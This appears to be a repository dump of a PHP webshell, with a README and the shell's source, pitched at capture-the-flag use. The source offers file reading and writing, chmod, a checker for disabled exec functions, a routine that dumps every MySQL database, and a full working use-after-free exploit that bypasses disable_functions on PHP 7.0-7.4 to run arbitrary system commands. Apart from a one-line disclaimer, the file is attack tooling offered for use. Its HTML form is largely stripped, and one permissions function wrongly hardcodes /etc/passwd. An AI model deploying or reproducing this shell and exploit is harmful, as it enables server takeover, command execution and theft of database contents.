├── README.md
└── webshell.php
/README.md:
--------------------------------------------------------------------------------
1 | # phpwebshelllimited
2 |
3 | This webshell was created for those times where you can upload a php webshell but you cannot execute commands due to disabled functions and you can only interact with the filesystem using php capabilities.
4 |
5 | It also can dump entire MysQL databases using PHP functions (for CTFs).
6 |
7 | Check it in local using:
8 | ```
9 | php -S localhost:8008
10 | ```
11 |
--------------------------------------------------------------------------------
/webshell.php:
--------------------------------------------------------------------------------
1 | query($sql) as $row) {
19 | array_push($db[$dbname][$tablename]["data"], array());
20 | echo "
\n";
21 | foreach ($columns as &$colname){
22 | $c = count($db[$dbname][$tablename]["data"]);
23 | $db[$dbname][$tablename]["data"][$c-1][$colname] = $row[$colname];
24 | echo "\t".$row[$colname]." \n";
25 | }
26 | echo " \n";
27 | }
28 | }
29 |
30 | function getColumns($dbh, $tablename, $dbname){
31 | global $db;
32 | $sql = "SELECT column_name FROM information_schema.columns WHERE table_name='$tablename' and table_schema='$dbname';";
33 | #echo $sql."\n";
34 | echo "";
35 | echo '
'."\n";
36 | echo "\n";
37 | foreach ($dbh->query($sql) as $row) {
38 | array_push($db[$dbname][$tablename]["columns"], $row['column_name']);
39 | echo "\t".$row['column_name']." \n";
40 | }
41 | echo " \n";
42 | getData($dbh, $db[$dbname][$tablename]["columns"], $tablename, $dbname);
43 | echo "
\n";
44 | echo " \n";
45 | }
46 |
47 | function getTables($dbh, $dbname, $checkDefault) {
48 | global $db, $information_schema, $mysql, $performance_schema, $sys;
49 | $sql = "SELECT table_name FROM information_schema.tables WHERE table_schema='$dbname';";
50 | #echo $sql."\n";
51 | foreach ($dbh->query($sql) as $row) {
52 | $db[$dbname][$row['table_name']]["columns"] = array();
53 | $db[$dbname][$row['table_name']]["data"] = array();
54 | if (! $checkDefault){
55 | if ($dbname === "information_schema" && in_array(strtoupper($row['table_name']),$information_schema)){
56 | continue;
57 | }
58 | elseif ($dbname === "mysql" && in_array(strtoupper($row['table_name']),$mysql)){
59 | continue;
60 | }
61 | elseif ($dbname === "performance_schema" && in_array(strtoupper($row['table_name']),$performance_schema)){
62 | continue;
63 | }
64 | elseif ($dbname === "sys" && in_array(strtoupper($row['table_name']),$sys)){
65 | continue;
66 | }
67 | }
68 | echo "Table: ".$row['table_name']." ";
69 | getColumns($dbh, $row['table_name'], $dbname);
70 | }
71 | }
72 |
73 | function dumpDb($mysqlUserName, $mysqlPassword, $mysqlHostName, $checkDefault){
74 | global $db;
75 | $dbh = new PDO("mysql:host=$mysqlHostName;",$mysqlUserName, $mysqlPassword);
76 | $sql = $dbh->query('SHOW DATABASES');
77 | $dbnames_results = $sql->fetchAll();
78 |
79 | foreach ($dbnames_results as &$dbname) {
80 | $db[$dbname[0]] = array();
81 | echo "Database: ".$dbname[0]." ";
82 | getTables($dbh, $dbname[0], $checkDefault);
83 | }
84 | }
85 |
86 |
87 | ################################
88 | ##### FILESYSTEM FUNCTIONS #####
89 | ################################
90 |
91 | function printPerms($filepath){
92 | $perms = fileperms('/etc/passwd');
93 |
94 | switch ($perms & 0xF000) {
95 | case 0xC000: // socket
96 | $info = 's';
97 | break;
98 | case 0xA000: // symbolic link
99 | $info = 'l';
100 | break;
101 | case 0x8000: // regular
102 | $info = 'r';
103 | break;
104 | case 0x6000: // block special
105 | $info = 'b';
106 | break;
107 | case 0x4000: // directory
108 | $info = 'd';
109 | break;
110 | case 0x2000: // character special
111 | $info = 'c';
112 | break;
113 | case 0x1000: // FIFO pipe
114 | $info = 'p';
115 | break;
116 | default: // unknown
117 | $info = 'u';
118 | }
119 |
120 | // Owner
121 | $info .= (($perms & 0x0100) ? 'r' : '-');
122 | $info .= (($perms & 0x0080) ? 'w' : '-');
123 | $info .= (($perms & 0x0040) ?
124 | (($perms & 0x0800) ? 's' : 'x' ) :
125 | (($perms & 0x0800) ? 'S' : '-'));
126 |
127 | // Group
128 | $info .= (($perms & 0x0020) ? 'r' : '-');
129 | $info .= (($perms & 0x0010) ? 'w' : '-');
130 | $info .= (($perms & 0x0008) ?
131 | (($perms & 0x0400) ? 's' : 'x' ) :
132 | (($perms & 0x0400) ? 'S' : '-'));
133 |
134 | // World
135 | $info .= (($perms & 0x0004) ? 'r' : '-');
136 | $info .= (($perms & 0x0002) ? 'w' : '-');
137 | $info .= (($perms & 0x0001) ?
138 | (($perms & 0x0200) ? 't' : 'x' ) :
139 | (($perms & 0x0200) ? 'T' : '-'));
140 |
141 | echo "$info $filepath\n";
142 | }
143 |
144 |
145 | function listDir($dir){
146 | echo "Listing $dir\n";
147 | $filenames = scandir($dir);
148 | foreach ($filenames as $filename) {
149 | if ($filename != "." && $filename != ".."){
150 | $filepath = "$dir/$filename";
151 | printPerms($filepath);
152 | }
153 | }
154 | }
155 |
156 | function readAFile($filepath){
157 | if (file_exists($filepath)){
158 | if (is_readable($filepath)) {
159 | echo "Reading $filepath\n";
160 | echo file_get_contents($filepath);
161 | }
162 | else{
163 | echo "$filepath: Permission denied\n";
164 | }
165 | }
166 | else{
167 | echo "$filepath: File doesn't exist\n";
168 | }
169 | }
170 |
171 | function writeAFile($filepath, $content){
172 | file_put_contents($filepath, $content);
173 | }
174 |
175 | function createADir($dirpath, $perms){
176 | if (! mkdir($dirpath, intval($perms, 8))){
177 | echo "Error creating the folder $dirpath\n";
178 | }
179 | else{
180 | echo "$dirpath was created\n";
181 | }
182 | }
183 |
184 | function changePerms($dirpath, $perms){
185 | if (! chmod($dirpath, intval($perms, 8))){
186 | echo "Error changing permissions of $dirpath\n";
187 | }
188 | else{
189 | echo "Permissions of $dirpath changed correctly\n";
190 | }
191 | }
192 |
193 |
194 |
195 | ####################################
196 | ######### CHECK FUNCTIONS ##########
197 | ####################################
198 |
199 | function check_exec_function($disabled, $func){
200 | if (!in_array($func, $disabled)){
201 | echo "$func is enabled!!
\n";
202 | }
203 | else{
204 | echo "$func is disabled
\n";
205 | }
206 | }
207 |
208 | function check_exec_functions() {
209 | $disabled = explode(',', ini_get('disable_functions'));
210 | $funcs = ["exec", "passthru", "system", "shell_exec", "popen", "proc_open", "pcntl_exec", "mail", "putenv"];
211 | foreach ($funcs as $func) {
212 | check_exec_function($disabled, $func);
213 | }
214 | }
215 |
216 |
217 |
218 |
219 |
220 | # PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
221 | #
222 | # Bug: https://bugs.php.net/bug.php?id=76047
223 | # debug_backtrace() returns a reference to a variable
224 | # that has been destroyed, causing a UAF vulnerability.
225 | #
226 | # This exploit should work on all PHP 7.0-7.4 versions
227 | # released as of 30/01/2020.
228 | #
229 | # Author: https://github.com/mm0r1
230 |
231 |
232 | function pwn($cmd) {
233 | global $abc, $helper, $backtrace;
234 |
235 | class Vuln {
236 | public $a;
237 | public function __destruct() {
238 | global $backtrace;
239 | unset($this->a);
240 | $backtrace = (new Exception)->getTrace(); # ;)
241 | if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
242 | $backtrace = debug_backtrace();
243 | }
244 | }
245 | }
246 |
247 | class Helper {
248 | public $a, $b, $c, $d;
249 | }
250 |
251 | function str2ptr(&$str, $p = 0, $s = 8) {
252 | $address = 0;
253 | for($j = $s-1; $j >= 0; $j--) {
254 | $address <<= 8;
255 | $address |= ord($str[$p+$j]);
256 | }
257 | return $address;
258 | }
259 |
260 | function ptr2str($ptr, $m = 8) {
261 | $out = "";
262 | for ($i=0; $i < $m; $i++) {
263 | $out .= chr($ptr & 0xff);
264 | $ptr >>= 8;
265 | }
266 | return $out;
267 | }
268 |
269 | function write(&$str, $p, $v, $n = 8) {
270 | $i = 0;
271 | for($i = 0; $i < $n; $i++) {
272 | $str[$p + $i] = chr($v & 0xff);
273 | $v >>= 8;
274 | }
275 | }
276 |
277 | function leak($addr, $p = 0, $s = 8) {
278 | global $abc, $helper;
279 | write($abc, 0x68, $addr + $p - 0x10);
280 | $leak = strlen($helper->a);
281 | if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
282 | return $leak;
283 | }
284 |
285 | function parse_elf($base) {
286 | $e_type = leak($base, 0x10, 2);
287 |
288 | $e_phoff = leak($base, 0x20);
289 | $e_phentsize = leak($base, 0x36, 2);
290 | $e_phnum = leak($base, 0x38, 2);
291 |
292 | for($i = 0; $i < $e_phnum; $i++) {
293 | $header = $base + $e_phoff + $i * $e_phentsize;
294 | $p_type = leak($header, 0, 4);
295 | $p_flags = leak($header, 4, 4);
296 | $p_vaddr = leak($header, 0x10);
297 | $p_memsz = leak($header, 0x28);
298 |
299 | if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
300 | # handle pie
301 | $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
302 | $data_size = $p_memsz;
303 | } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
304 | $text_size = $p_memsz;
305 | }
306 | }
307 |
308 | if(!$data_addr || !$text_size || !$data_size)
309 | return false;
310 |
311 | return [$data_addr, $text_size, $data_size];
312 | }
313 |
314 | function get_basic_funcs($base, $elf) {
315 | list($data_addr, $text_size, $data_size) = $elf;
316 | for($i = 0; $i < $data_size / 8; $i++) {
317 | $leak = leak($data_addr, $i * 8);
318 | if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
319 | $deref = leak($leak);
320 | # 'constant' constant check
321 | if($deref != 0x746e6174736e6f63)
322 | continue;
323 | } else continue;
324 |
325 | $leak = leak($data_addr, ($i + 4) * 8);
326 | if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
327 | $deref = leak($leak);
328 | # 'bin2hex' constant check
329 | if($deref != 0x786568326e6962)
330 | continue;
331 | } else continue;
332 |
333 | return $data_addr + $i * 8;
334 | }
335 | }
336 |
337 | function get_binary_base($binary_leak) {
338 | $base = 0;
339 | $start = $binary_leak & 0xfffffffffffff000;
340 | for($i = 0; $i < 0x1000; $i++) {
341 | $addr = $start - 0x1000 * $i;
342 | $leak = leak($addr, 0, 7);
343 | if($leak == 0x10102464c457f) { # ELF header
344 | return $addr;
345 | }
346 | }
347 | }
348 |
349 | function get_system($basic_funcs) {
350 | $addr = $basic_funcs;
351 | do {
352 | $f_entry = leak($addr);
353 | $f_name = leak($f_entry, 0, 6);
354 |
355 | if($f_name == 0x6d6574737973) { # system
356 | return leak($addr + 8);
357 | }
358 | $addr += 0x20;
359 | } while($f_entry != 0);
360 | return false;
361 | }
362 |
363 | function trigger_uaf($arg) {
364 | # str_shuffle prevents opcache string interning
365 | $arg = str_shuffle(str_repeat('A', 79));
366 | $vuln = new Vuln();
367 | $vuln->a = $arg;
368 | }
369 |
370 | if(stristr(PHP_OS, 'WIN')) {
371 | die('This PoC is for *nix systems only.');
372 | }
373 |
374 | $n_alloc = 10; # increase this value if UAF fails
375 | $contiguous = [];
376 | for($i = 0; $i < $n_alloc; $i++)
377 | $contiguous[] = str_shuffle(str_repeat('A', 79));
378 |
379 | trigger_uaf('x');
380 | $abc = $backtrace[1]['args'][0];
381 |
382 | $helper = new Helper;
383 | $helper->b = function ($x) { };
384 |
385 | if(strlen($abc) == 79 || strlen($abc) == 0) {
386 | die("UAF failed");
387 | }
388 |
389 | # leaks
390 | $closure_handlers = str2ptr($abc, 0);
391 | $php_heap = str2ptr($abc, 0x58);
392 | $abc_addr = $php_heap - 0xc8;
393 |
394 | # fake value
395 | write($abc, 0x60, 2);
396 | write($abc, 0x70, 6);
397 |
398 | # fake reference
399 | write($abc, 0x10, $abc_addr + 0x60);
400 | write($abc, 0x18, 0xa);
401 |
402 | $closure_obj = str2ptr($abc, 0x20);
403 |
404 | $binary_leak = leak($closure_handlers, 8);
405 | if(!($base = get_binary_base($binary_leak))) {
406 | die("Couldn't determine binary base address");
407 | }
408 |
409 | if(!($elf = parse_elf($base))) {
410 | die("Couldn't parse ELF header");
411 | }
412 |
413 | if(!($basic_funcs = get_basic_funcs($base, $elf))) {
414 | die("Couldn't get basic_functions address");
415 | }
416 |
417 | if(!($zif_system = get_system($basic_funcs))) {
418 | die("Couldn't get zif_system address");
419 | }
420 |
421 | # fake closure object
422 | $fake_obj_offset = 0xd0;
423 | for($i = 0; $i < 0x110; $i += 8) {
424 | write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
425 | }
426 |
427 | # pwn
428 | write($abc, 0x20, $abc_addr + $fake_obj_offset);
429 | write($abc, 0xd0 + 0x38, 1, 4); # internal func type
430 | write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
431 |
432 | ($helper->b)($cmd);
433 | exit();
434 | }
435 |
436 |
437 | ?>
438 |
439 |
440 |
441 | Disclaimer: Always use this webshell with permission of the servers owner.
442 | Filesystem Interaction
443 |
446 |
447 |
448 |
451 |
452 |
453 |
456 |
457 |
458 |
461 |
462 |
463 |
466 |
467 |
468 | Disabled functions
469 |
470 |
471 | PHP 7.0-7.4 Disabled Functions Bypass
472 |
473 | Command:
474 |
475 |
476 |
477 | Mysql Dump
478 | Note that this will dump the WHOLE DATABASE. I have created this webshell for CTFs, DO NOT USE THIS IN PRODUCTION ENVIRONMENTS.
479 |
480 | Mysql Username:
481 | Mysql Password:
482 | Mysql Host:
483 | Dump default MySQL databases (information_schema, mysql, performance_schema, sys) . Note that by default only non-default tables from these databases will be extracted.
484 |
485 |
486 |
487 |
488 | PHPInfo
489 |
490 |
491 |
--------------------------------------------------------------------------------